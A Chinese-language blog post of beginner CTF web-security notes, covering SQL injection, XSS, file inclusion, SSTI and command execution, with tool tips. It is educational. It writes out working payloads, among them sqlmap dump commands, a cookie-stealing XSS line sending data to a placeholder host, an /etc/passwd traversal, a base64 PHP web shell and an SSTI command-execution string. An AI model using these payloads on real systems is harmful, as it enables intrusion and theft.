CTF Web安全入门实战笔记

本文记录了近期参加 CTF 比赛的一些 Web 方向题目解题思路与常用技巧,适合入门选手参考。

一、SQL 注入

SQL 注入是 CTF Web 题中出现频率最高的考点之一,常见变体包括:

  • 联合注入(UNION-based):通过 ORDER BY 确定列数,再用 UNION SELECT 带出数据。
  • 盲注(Blind):页面无回显时,利用布尔或时间差进行逐字节爆破。
  • 报错注入:借助 extractvalueupdatexml 等函数将数据带入报错信息。

常用 Payload

1
2
3
4
5
6
7
8
9
-- 判断注入点
' AND 1=1 --
' AND 1=2 --

-- 联合注入获取数据库名
' UNION SELECT 1,database(),3 --

-- 报错注入
' AND extractvalue(1,concat(0x7e,database())) --

使用 SQLMap 可以大幅提升效率:

1
2
sqlmap -u "http://target.com/index.php?id=1" --dbs --batch
sqlmap -u "http://target.com/index.php?id=1" -D ctfdb -T users --dump

二、XSS(跨站脚本)

XSS 在 CTF 中通常以「偷 Cookie」或「绕过过滤」的形式出现。

反射型 XSS

1
<script>document.location='http://vps/steal?c='+document.cookie</script>

绕过常见过滤

1
2
3
4
5
6
7
8
<!-- 大小写绕过 -->
<ScRiPt>alert(1)</ScRiPt>

<!-- 事件属性绕过 -->
<img src=x onerror=alert(1)>

<!-- HTML 实体编码绕过 -->
<a href="javascript:alert(1)">click</a>

三、文件包含(LFI/RFI)

本地文件包含常见利用方式:

1
2
3
4
5
6
# 读取敏感文件
?page=../../../../etc/passwd

# PHP 伪协议
?page=php://filter/convert.base64-encode/resource=index.php
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

四、命令执行(RCE)

CTF 中常见的 RCE 场景包括:

  • PHP evalsystemexec 函数直接调用
  • SSTI(服务端模板注入)
  • 反序列化漏洞

SSTI 快速检测

1
2
3
{{7*7}}        # Jinja2/Twig → 返回 49
${7*7} # Freemarker
<%= 7*7 %> # ERB (Ruby)

Jinja2 SSTI 利用读文件:

1
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

五、工具与脚本推荐

工具 用途
Burp Suite 流量拦截、重放、爆破
SQLMap 自动化 SQL 注入
Dirsearch 目录扫描
Gobuster 子域名/目录枚举
Hackbar 浏览器快速测试插件

六、解题方法论

  1. 信息收集:查看页面源码、HTTP 响应头、robots.txt、备份文件(.bak.swp)。
  2. 功能点测试:对所有输入点进行注入、XSS、文件上传等基础测试。
  3. 代码审计:如果题目提供源码,优先寻找危险函数调用链。
  4. 查阅 Writeup:赛后学习他人解题思路,积累经验。

总结

CTF Web 方向核心在于对漏洞原理的深刻理解,而不是单纯依赖工具。建议平时多做靶场(如 HackTheBox、NSSCTF、BUUCTF),结合实际比赛巩固技能。

欢迎交流!如有问题可在评论区留言。